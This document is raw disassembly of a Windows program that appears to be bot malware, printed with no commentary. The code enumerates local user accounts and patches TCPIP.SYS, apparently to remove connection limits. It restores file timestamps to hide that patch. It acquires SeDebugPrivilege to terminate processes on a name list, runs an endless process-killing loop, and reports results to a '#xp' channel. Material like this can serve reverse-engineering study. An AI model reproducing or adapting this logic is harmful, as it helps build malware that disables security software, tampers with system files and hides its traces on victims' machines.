XREF: sub_412AC3+35j push eax lea eax, [ebp+var_204] push offset unk_443F14 push eax call sub_417CB0 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40764A add esp, 20h loc_412E7C: ; CODE XREF: sub_412AC3+38Bj cmp [ebp+var_4], 0 jz short loc_412E8B push [ebp+var_4] call dword_4D66F8 loc_412E8B: ; CODE XREF: sub_412AC3+40j ; sub_412AC3+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_412AC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E91 proc near ; CODE XREF: sub_401C87+3030p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_4127F8 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 18h loc_412ED0: ; CODE XREF: sub_412E91+12Bj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4D65C8 cmp eax, esi mov [ebp+var_C], eax jz short loc_412F31 cmp eax, 0EAh jz short loc_412F31 push eax push eax call sub_413007 pop ecx push eax lea eax, [ebp+var_218] push offset unk_443F5C push eax call sub_417CB0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 24h jmp short loc_412FA2 ; --------------------------------------------------------------------------- loc_412F31: ; CODE XREF: sub_412E91+62j ; sub_412E91+69j mov edi, [ebp+var_4] cmp edi, esi jz short loc_412FB5 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_412FA2 loc_412F3F: ; CODE XREF: sub_412E91+E9j cmp edi, esi lea eax, [ebp+var_218] jz short loc_412F7E push dword ptr [edi] loc_412F4B: ; DATA XREF: .data:off_444D48o ; .data:off_444D4Co push offset aS_29 ; " %S" push eax call sub_417CB0 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_412F3F jmp short loc_412FA2 ; --------------------------------------------------------------------------- loc_412F7E: ; CODE XREF: sub_412E91+B6j push offset unk_443F88 push eax call sub_417CB0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 1Ch loc_412FA2: ; CODE XREF: sub_412E91+9Ej ; sub_412E91+ACj ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_412FB5 push edi call dword_4D66F8 xor edi, edi mov [ebp+var_4], edi loc_412FB5: ; CODE XREF: sub_412E91+A5j ; sub_412E91+116j cmp [ebp+var_C], 0EAh jz loc_412ED0 cmp edi, esi jz short loc_412FCD push edi call dword_4D66F8 loc_412FCD: ; CODE XREF: sub_412E91+133j push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_417CB0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_412E91 endp ; =============== S U B R O U T I N E ======================================= sub_413007 proc near ; CODE XREF: sub_412667+41p ; sub_41285C+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_4130B9 jz loc_4130B2 cmp eax, 7Bh ja short loc_41307E jz short loc_413074 cmp eax, 5 jz short loc_41306A cmp eax, 8 jz short loc_413060 cmp eax, 32h jz short loc_413056 cmp eax, 35h jz short loc_41304C cmp eax, 57h jnz loc_413108 push offset aInvalidParamet ; "Invalid parameter." jmp loc_413129 ; --------------------------------------------------------------------------- loc_41304C: ; CODE XREF: sub_413007+30j push offset aServerNameNotF ; "Server name not found." jmp loc_413129 ; --------------------------------------------------------------------------- loc_413056: ; CODE XREF: sub_413007+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_413129 ; --------------------------------------------------------------------------- loc_413060: ; CODE XREF: sub_413007+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_413129 ; --------------------------------------------------------------------------- loc_41306A: ; CODE XREF: sub_413007+21j push offset aAccessDenied_ ; "Access denied." jmp loc_413129 ; --------------------------------------------------------------------------- loc_413074: ; CODE XREF: sub_413007+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_413129 ; --------------------------------------------------------------------------- loc_41307E: ; CODE XREF: sub_413007+1Aj sub eax, 7Ch jz short loc_4130AB sub eax, 7C8h jz short loc_4130A4 dec eax jz short loc_41309A dec eax jnz short loc_413108 push offset aDuplicateShare ; "Duplicate share name." jmp loc_413129 ; --------------------------------------------------------------------------- loc_41309A: ; CODE XREF: sub_413007+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_413129 ; --------------------------------------------------------------------------- loc_4130A4: ; CODE XREF: sub_413007+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_413129 ; --------------------------------------------------------------------------- loc_4130AB: ; CODE XREF: sub_413007+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_413129 ; --------------------------------------------------------------------------- loc_4130B2: ; CODE XREF: sub_413007+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_413129 ; --------------------------------------------------------------------------- loc_4130B9: ; CODE XREF: sub_413007+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_4130F2 jz short loc_4130EB sub eax, 8ADh jz short loc_41311D dec eax dec eax jz short loc_4130E4 dec eax jz short loc_4130DD dec eax dec eax jnz short loc_413108 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_413129 ; --------------------------------------------------------------------------- loc_4130DD: ; CODE XREF: sub_413007+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_413129 ; --------------------------------------------------------------------------- loc_4130E4: ; CODE XREF: sub_413007+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_413129 ; --------------------------------------------------------------------------- loc_4130EB: ; CODE XREF: sub_413007+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_413129 ; --------------------------------------------------------------------------- loc_4130F2: ; CODE XREF: sub_413007+B9j sub eax, 8CAh jz short loc_413124 sub eax, 17h jz short loc_41311D sub eax, 25h jz short loc_413116 sub eax, 29h jz short loc_41310F loc_413108: ; CODE XREF: sub_413007+35j ; sub_413007+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_413129 ; --------------------------------------------------------------------------- loc_41310F: ; CODE XREF: sub_413007+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_413129 ; --------------------------------------------------------------------------- loc_413116: ; CODE XREF: sub_413007+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_413129 ; --------------------------------------------------------------------------- loc_41311D: ; CODE XREF: sub_413007+C2j ; sub_413007+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_413129 ; --------------------------------------------------------------------------- loc_413124: ; CODE XREF: sub_413007+F0j push offset aNetworkConnect ; "Network connection not found." loc_413129: ; CODE XREF: sub_413007+40j ; sub_413007+4Aj ... push offset dword_4DD878 call sub_417CB0 pop ecx mov eax, offset dword_4DD878 pop ecx retn sub_413007 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41313B proc near ; CODE XREF: sub_401C87+307Cp var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41A890 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call dword_4E0394 ; GetComputerNameA lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41A890 lea eax, [ebp+var_718] push eax call sub_41A860 add esp, 10h add eax, eax push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4D6678 test eax, eax jnz short loc_4131CB mov esi, offset dword_4DD670 push offset unk_444290 push esi call sub_417CB0 pop ecx pop ecx jmp short loc_4131F4 ; --------------------------------------------------------------------------- loc_4131CB: ; CODE XREF: sub_41313B+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_413007 pop ecx mov esi, offset dword_4DD670 push eax push offset dword_4442B8 push esi call sub_417CB0 add esp, 14h loc_4131F4: ; CODE XREF: sub_41313B+8Ej mov eax, esi pop esi leave retn sub_41313B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h lea eax, [ebp-94h] mov dword ptr [ebp-94h], 94h push eax call dword_4E039C ; GetVersionExA cmp dword ptr [ebp-90h], 5 jnz short loc_413244 cmp dword ptr [ebp-8Ch], 1 jnz short loc_413244 lea eax, [ebp-80h] push offset dword_4442E4 push eax call sub_417E00 pop ecx test eax, eax pop ecx jz short loc_413244 xor eax, eax inc eax leave retn ; --------------------------------------------------------------------------- loc_413244: ; CODE XREF: .data:00413220j ; .data:00413229j ... xor eax, eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 104h push dword ptr [ebp+8] lea eax, [ebp-104h] push offset dword_4442E8 push eax call sub_417CB0 add esp, 0Ch lea eax, [ebp-104h] push 0 push eax push dword ptr [ebp+8] call dword_4E0354 ; CopyFileA neg eax sbb eax, eax neg eax leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413282 proc near ; CODE XREF: .data:004133A6p var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+var_200] push 100h push eax push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call dword_4E0428 ; MultiByteToWideChar push offset dword_4442F0 call dword_4E037C ; LoadLibraryA push 5 push eax call dword_4E0380 ; GetProcAddress lea ecx, [ebp+var_200] push 0FFFFFFFFh push ecx push 0 call eax leave retn sub_413282 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3B0h mov eax, [ebp+8] push ebx push esi push edi push 46h mov esi, eax pop ecx lea edi, [ebp-1B0h] rep movsd xor esi, esi xor ebx, ebx inc esi mov dword ptr [ebp-60h], offset byte_4442FC push esi mov [eax+114h], esi mov dword ptr [ebp-5Ch], offset word_4442FE mov dword ptr [ebp-58h], offset byte_444300 mov dword ptr [ebp-54h], offset byte_4DDEE0 mov dword ptr [ebp-50h], offset word_444302 mov dword ptr [ebp-4Ch], offset off_444304 mov dword ptr [ebp-48h], offset word_4DDEE2 mov dword ptr [ebp-44h], offset byte_4DDEE4 mov dword ptr [ebp-80h], 444306h mov dword ptr [ebp-7Ch], offset byte_444308 mov dword ptr [ebp-78h], offset word_44430A mov dword ptr [ebp-74h], offset word_4DDEE6 mov dword ptr [ebp-70h], offset byte_44430C mov dword ptr [ebp-6Ch], offset word_44430E mov dword ptr [ebp-68h], offset byte_4DDEE8 mov dword ptr [ebp-64h], offset word_4DDEEA mov dword ptr [ebp-34h], offset aXSg ; "åÈ™GÈ" mov dword ptr [ebp-30h], 444312h mov dword ptr [ebp-40h], 444314h mov dword ptr [ebp-3Ch], 444316h mov dword ptr [ebp-38h], 444318h mov [ebp-4], ebx call sub_415090 mov [ebp-8], eax mov [ebp-0Ch], ebx mov dword ptr [esp], 7530h call dword_4E033C ; Sleep lea eax, [ebp-1A8h] push eax call sub_413282 pop ecx mov edi, 80h lea eax, [ebp-1A8h] push edi push eax call dword_4E0358 ; SetFileAttributesA push ebx push edi push 3 push ebx push esi lea eax, [ebp-1A8h] push 80000000h push eax call dword_4E03D8 ; CreateFileA mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_413401 lea eax, [ebp-90h] push eax lea eax, [ebp-98h] push eax lea eax, [ebp-88h] push eax push edi call dword_4E0418 ; GetFileTime push edi call dword_4E032C ; CloseHandle loc_413401: ; CODE XREF: .data:004133DCj lea eax, [ebp-1A8h] push offset aRB ; "r+b" push eax call sub_4176E0 pop ecx cmp eax, ebx pop ecx mov [ebp+8], eax jnz short loc_413458 push dword ptr [ebp-0A4h] lea eax, [ebp-3B0h] push offset aCanNotOpenTcpi ; "Can not open TCPIP.SYS, version %d." push 200h push eax call sub_417E80 lea eax, [ebp-3B0h] push eax call sub_40F927 push dword ptr [ebp-1ACh] call sub_409979 add esp, 18h push ebx call dword_4E03A0 ; ExitThread loc_413458: ; CODE XREF: .data:00413419j mov eax, [ebp-0A4h] dec eax jz loc_41362D dec eax jz loc_413580 dec eax jz loc_4134FD dec eax jnz loc_4136D1 mov dword ptr [ebp-2Ch], 130h mov dword ptr [ebp-28h], 4F5A2h xor edi, edi loc_41348A: ; CODE XREF: .data:004134C1j push ebx push dword ptr [ebp+edi-2Ch] push dword ptr [ebp+8] call sub_419FD0 push dword ptr [ebp+8] push esi push esi push dword ptr [ebp-8] call sub_4173D0 push esi push dword ptr [ebp+edi-40h] push dword ptr [ebp-8] call sub_418830 add esp, 28h test eax, eax jnz short loc_4134BB inc dword ptr [ebp-4] loc_4134BB: ; CODE XREF: .data:004134B6j add edi, 4 cmp edi, 0Ch jl short loc_41348A cmp dword ptr [ebp-4], 3 jge loc_4136D1 mov [ebp-0Ch], esi xor edi, edi loc_4134D2: ; CODE XREF: .data:004134F6j push ebx push dword ptr [ebp+edi-2Ch] push dword ptr [ebp+8] call sub_419FD0 push dword ptr [ebp+8] push esi push esi push dword ptr [ebp+edi-40h] call sub_41A170 add edi, 4 add esp, 1Ch cmp edi, 0Ch jl short loc_4134D2 jmp loc_4136D1 ; --------------------------------------------------------------------------- loc_4134FD: ; CODE XREF: .data:0041346Dj mov dword ptr [ebp-2Ch], 130h mov dword ptr [ebp-28h], 4F322h xor edi, edi loc_41350D: ; CODE XREF: .data:00413544j push ebx push dword ptr [ebp+edi-2Ch] push dword ptr [ebp+8] call sub_419FD0 push dword ptr [ebp+8] push esi push esi push dword ptr [ebp-8] call sub_4173D0 push esi push dword ptr [ebp+edi-34h] push dword ptr [ebp-8] call sub_418830 add esp, 28h test eax, eax jnz short loc_41353E inc dword ptr [ebp-4] loc_41353E: ; CODE XREF: .data:00413539j add edi, 4 cmp edi, 8 jl short loc_41350D cmp dword ptr [ebp-4], 2 jge loc_4136D1 mov [ebp-0Ch], esi xor edi, edi loc_413555: ; CODE XREF: .data:00413579j push ebx push dword ptr [ebp+edi-2Ch] push dword ptr [ebp+8] call sub_419FD0 push dword ptr [ebp+8] push esi push esi push dword ptr [ebp+edi-34h] call sub_41A170 add edi, 4 add esp, 1Ch cmp edi, 8 jl short loc_413555 jmp loc_4136D1 ; --------------------------------------------------------------------------- loc_413580: ; CODE XREF: .data:00413466j mov dword ptr [ebp-2Ch], 130h mov dword ptr [ebp-28h], 131h mov dword ptr [ebp-24h], 132h mov dword ptr [ebp-20h], 133h mov dword ptr [ebp-1Ch], 4F5A2h mov dword ptr [ebp-18h], 4F5A3h mov dword ptr [ebp-14h], 4F5A4h mov dword ptr [ebp-10h], 4F5A5h xor edi, edi loc_4135BA: ; CODE XREF: .data:004135F1j push ebx push dword ptr [ebp+edi-2Ch] push dword ptr [ebp+8] call sub_419FD0 push dword ptr [ebp+8] push esi push esi push dword ptr [ebp-8] call sub_4173D0 push esi push dword ptr [ebp+edi-80h] push dword ptr [ebp-8] call sub_418830 add esp, 28h test eax, eax jnz short loc_4135EB inc dword ptr [ebp-4] loc_4135EB: ; CODE XREF: .data:004135E6j add edi, 4 cmp edi, 20h jl short loc_4135BA cmp dword ptr [ebp-4], 8 jge loc_4136D1 mov [ebp-0Ch], esi xor edi, edi loc_413602: ; CODE XREF: .data:00413626j push ebx push dword ptr [ebp+edi-2Ch] push dword ptr [ebp+8] call sub_419FD0 push dword ptr [ebp+8] push esi push esi push dword ptr [ebp+edi-80h] call sub_41A170 add edi, 4 add esp, 1Ch cmp edi, 20h jl short loc_413602 jmp loc_4136D1 ; --------------------------------------------------------------------------- loc_41362D: ; CODE XREF: .data:0041345Fj mov dword ptr [ebp-2Ch], 130h mov dword ptr [ebp-28h], 131h mov dword ptr [ebp-24h], 132h mov dword ptr [ebp-20h], 133h mov dword ptr [ebp-1Ch], 4F322h mov dword ptr [ebp-18h], 4F323h mov dword ptr [ebp-14h], 4F324h mov dword ptr [ebp-10h], 4F325h xor edi, edi loc_413667: ; CODE XREF: .data:0041369Ej push ebx push dword ptr [ebp+edi-2Ch] push dword ptr [ebp+8] call sub_419FD0 push dword ptr [ebp+8] push esi push esi push dword ptr [ebp-8] call sub_4173D0 push esi push dword ptr [ebp+edi-60h] push dword ptr [ebp-8] call sub_418830 add esp, 28h test eax, eax jnz short loc_413698 inc dword ptr [ebp-4] loc_413698: ; CODE XREF: .data:00413693j add edi, 4 cmp edi, 20h jl short loc_413667 cmp dword ptr [ebp-4], 8 jge short loc_4136D1 mov [ebp-0Ch], esi xor edi, edi loc_4136AB: ; CODE XREF: .data:004136CFj push ebx push dword ptr [ebp+edi-2Ch] push dword ptr [ebp+8] call sub_419FD0 push dword ptr [ebp+8] push esi push esi push dword ptr [ebp+edi-60h] call sub_41A170 add edi, 4 add esp, 1Ch cmp edi, 20h jl short loc_4136AB loc_4136D1: ; CODE XREF: .data:00413474j ; .data:004134C7j ... push dword ptr [ebp+8] call sub_414F40 pop ecx lea eax, [ebp-1A8h] push ebx push 80h push 3 push ebx push 2 push 40000000h push eax call dword_4E03D8 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_413721 lea eax, [ebp-90h] push eax lea eax, [ebp-98h] push eax lea eax, [ebp-88h] push eax push esi call dword_4E0414 ; SetFileTime push esi call dword_4E032C ; CloseHandle loc_413721: ; CODE XREF: .data:004136FCj cmp [ebp-0Ch], ebx jz short loc_41376F push dword ptr [ebp-0A4h] lea eax, [ebp-3B0h] push offset aTcpip_sysFixed ; "TCPIP.SYS fixed, version %d." push 200h push eax call sub_417E80 push ebx lea eax, [ebp-3B0h] push dword ptr [ebp-0A0h] push eax push offset aXp_0 ; "#xp" push dword ptr [ebp-1B0h] call sub_40764A lea eax, [ebp-3B0h] push eax call sub_40F927 add esp, 28h loc_41376F: ; CODE XREF: .data:00413724j push dword ptr [ebp-1ACh] mov dword_437294, ebx call sub_409979 pop ecx push ebx call dword_4E03A0 ; ExitThread ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413788 proc near ; CODE XREF: sub_411DBC+7p ; sub_4137F3+5Fp ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call dword_4E03C4 ; GetCurrentProcess push eax call dword_4D664C ; OpenProcessToken test eax, eax jnz short loc_4137A7 leave retn ; --------------------------------------------------------------------------- loc_4137A7: ; CODE XREF: sub_413788+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4D6624 ; LookupPrivilegeValueA test eax, eax jz short loc_4137E5 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_4137CE or [ebp+var_8], 2 jmp short loc_4137D2 ; --------------------------------------------------------------------------- loc_4137CE: ; CODE XREF: sub_413788+3Ej and [ebp+var_8], 0FFFFFFFDh loc_4137D2: ; CODE XREF: sub_413788+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4D66D4 ; AdjustTokenPrivileges mov esi, eax loc_4137E5: ; CODE XREF: sub_413788+32j push [ebp+var_4] call dword_4E032C ; CloseHandle mov eax, esi pop esi leave retn sub_413788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4137F3 proc near ; CODE XREF: sub_401C87+3812p ; sub_413A33+74p ... var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4D6688, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_413A03 cmp dword_4D666C, ebx jz loc_413A03 cmp dword_4D657C, ebx jz loc_413A03 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_413788 pop ecx pop ecx push ebx push 0Fh call dword_4D6688 ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4139F6 lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4D666C ; Process32First mov esi, dword_4E032C test eax, eax jz loc_4139F1 lea eax, [ebp+var_130] push eax push edi call dword_4D657C ; Process32Next test eax, eax jz loc_4139F1 mov edi, dword_4E0348 mov ebx, 1F0FFFh loc_4138B7: ; CODE XREF: sub_4137F3+1F6j xor eax, eax cmp [ebp+arg_10], eax jz short loc_41391B mov [ebp+var_4], eax loc_4138C1: ; CODE XREF: sub_4137F3+F0j mov eax, [ebp+var_4] push off_4444B8[eax] lea eax, [ebp+var_10C] push eax call dword_4E042C ; lstrcmpiA test eax, eax jz short loc_4138EA add [ebp+var_4], 4 cmp [ebp+var_4], 60h jb short loc_4138C1 jmp loc_4139D7 ; --------------------------------------------------------------------------- loc_4138EA: ; CODE XREF: sub_4137F3+E6j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess test eax, eax mov [ebp+var_4], eax jz loc_4139D7 push 0 push eax call dword_4E03BC ; TerminateProcess test eax, eax jnz loc_4139D7 loc_413911: ; CODE XREF: sub_4137F3+1CAj push [ebp+var_4] call esi ; CloseHandle jmp loc_4139D7 ; --------------------------------------------------------------------------- loc_41391B: ; CODE XREF: sub_4137F3+C9j cmp [ebp+arg_C], eax jnz loc_4139C2 cmp [ebp+arg_4], eax jz loc_4139D7 push [ebp+var_128] push 8 call dword_4D6688 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_413982 lea ecx, [ebp+var_354] push ecx push eax call dword_4D6528 ; Module32First push [ebp+var_128] test eax, eax jz short loc_413974 lea eax, [ebp+var_234] push eax push offset aSD ; " %s (%d)" jmp short loc_413994 ; --------------------------------------------------------------------------- loc_413974: ; CODE XREF: sub_4137F3+171j lea eax, [ebp+var_10C] push eax push offset aSD_0 ; " %s (%d)" jmp short loc_413994 ; --------------------------------------------------------------------------- loc_413982: ; CODE XREF: sub_4137F3+159j push [ebp+var_128] lea eax, [ebp+var_10C] push eax push offset aSD_1 ; " %s (%d)" loc_413994: ; CODE XREF: sub_4137F3+17Fj ; sub_4137F3+18Dj lea eax, [ebp+var_554] push eax call sub_417CB0 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 14h jmp loc_413911 ; --------------------------------------------------------------------------- loc_4139C2: ; CODE XREF: sub_4137F3+12Bj push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_413A0A loc_4139D7: ; CODE XREF: sub_4137F3+F2j ; sub_4137F3+107j ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4D657C ; Process32Next test eax, eax jnz loc_4138B7 xor ebx, ebx loc_4139F1: ; CODE XREF: sub_4137F3+9Dj ; sub_4137F3+B3j push [ebp+var_8] call esi ; CloseHandle loc_4139F6: ; CODE XREF: sub_4137F3+77j push ebx push offset aSedebugprivi_0 ; "SeDebugPrivilege" call sub_413788 pop ecx pop ecx loc_413A03: ; CODE XREF: sub_4137F3+3Aj ; sub_4137F3+46j ... xor eax, eax loc_413A05: ; CODE XREF: sub_4137F3+23Ej pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_413A0A: ; CODE XREF: sub_4137F3+1E2j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess push [ebp+var_8] mov edi, eax call esi ; CloseHandle push 0 push edi call dword_4E03BC ; TerminateProcess test eax, eax jnz short loc_413A2E push edi call esi ; CloseHandle jmp short loc_413A03 ; --------------------------------------------------------------------------- loc_413A2E: ; CODE XREF: sub_4137F3+234j xor eax, eax inc eax jmp short loc_413A05 sub_4137F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413A33 proc near ; DATA XREF: sub_401C87+219Bo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_444564 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_417CB0 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_413A92 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40764A add esp, 14h loc_413A92: ; CODE XREF: sub_413A33+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4137F3 add esp, 18h test eax, eax lea eax, [ebp+var_298] jnz short loc_413AC0 push offset unk_444584 jmp short loc_413AC5 ; --------------------------------------------------------------------------- loc_413AC0: ; CODE XREF: sub_413A33+84j push offset unk_4445A8 loc_413AC5: ; CODE XREF: sub_413A33+8Bj push eax call sub_417CB0 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_413AF2 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40764A add esp, 14h loc_413AF2: ; CODE XREF: sub_413A33+9Dj lea eax, [ebp+var_298] push eax call sub_40F927 push [ebp+var_14] call sub_409979 pop ecx pop ecx push esi call dword_4E03A0 ; ExitThread pop edi pop esi sub_413A33 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_413B11 proc near ; CODE XREF: sub_401C87+37B0p ; sub_40979E+4Dp arg_0 = dword ptr 4 push esi push edi push [esp+8+arg_0] xor edi, edi inc edi push 0 push 1F0FFFh call dword_4E0348 ; OpenProcess mov esi, eax test esi, esi jz short loc_413B43 push 0 push esi call dword_4E03BC ; TerminateProcess test eax, eax jnz short loc_413B43 push esi xor edi, edi call dword_4E032C ; CloseHandle loc_413B43: ; CODE XREF: sub_413B11+1Aj ; sub_413B11+27j mov eax, edi pop edi pop esi retn sub_413B11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413B48 proc near ; DATA XREF: sub_401404+3B8o push esi xor esi, esi loc_413B4B: ; CODE XREF: sub_413B48+1Ej push 1 push esi push esi push esi push esi push esi call sub_4137F3 add esp, 18h push dword_444368 call dword_4E033C ; Sleep jmp short loc_413B4B sub_413B48 endp ; =============== S U B R O U T I N E ======================================= sub_413B68 proc near ; CODE XREF: sub_413B98+2Ap ; sub_413BD0+7Ep ... mov eax, dword_4DDEF0 push esi mov esi, dword_4E032C cmp eax, 0FFFFFFFFh jz short loc_413B7C push eax call esi ; CloseHandle loc_413B7C: ; CODE XREF: sub_413B68+Fj mov eax, dword_4DDEF8 cmp eax, 0FFFFFFFFh jz short loc_413B89 push eax call esi ; CloseHandle loc_413B89: ; CODE XREF: sub_413B68+1Cj mov eax, dword_4DDEEC cmp eax, 0FFFFFFFFh jz short loc_413B96 push eax call esi ; CloseHandle loc_413B96: ; CODE XREF: sub_413B68+29j pop esi retn sub_413B68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B98 proc near ; CODE XREF: sub_401C87+34DEp ; sub_4104B2+14Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_414EC0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DDEF4 call dword_4E03B4 ; WriteFile test eax, eax jnz short loc_413BCB call sub_413B68 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_413BCB: ; CODE XREF: sub_413B98+28j xor eax, eax inc eax leave retn sub_413B98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413BD0 proc near ; CODE XREF: sub_413C57+D3p ; sub_413C57+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_4DDF34 push 